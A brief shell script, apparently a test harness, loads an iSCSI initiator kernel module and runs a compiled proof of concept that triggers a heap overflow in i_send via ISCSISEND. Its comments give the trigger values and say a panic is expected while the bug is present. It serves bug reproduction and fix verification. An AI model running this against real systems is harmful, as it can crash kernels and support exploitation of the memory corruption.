#!/bin/sh
# DF-2466 run: drive i_send heap overflow via ISCSISEND (root only).
# Run as root (needs /dev/iscsi).  ahs_len=7 ds_len=1 -> 3-byte overflow past
# kmalloc-8 chunk boundary; looped to accumulate slab corruption.
#
# Expected (bug present, GENERIC INVARIANTS): kernel panic from slab
#   corruption / chunk-mark check, OR "Fatal trap" in slab allocator.
# Expected (fixed): no panic; PoC completes all iters (or fails cleanly).
echo "DF-2466: loading iscsi_initiator, running overflow PoC"
kldload iscsi_initiator 2>/dev/null || true
./df2466 7 1 8000
echo "DF2466_EXIT=$?"
echo "DF-2466: run complete (if we got here, no panic)"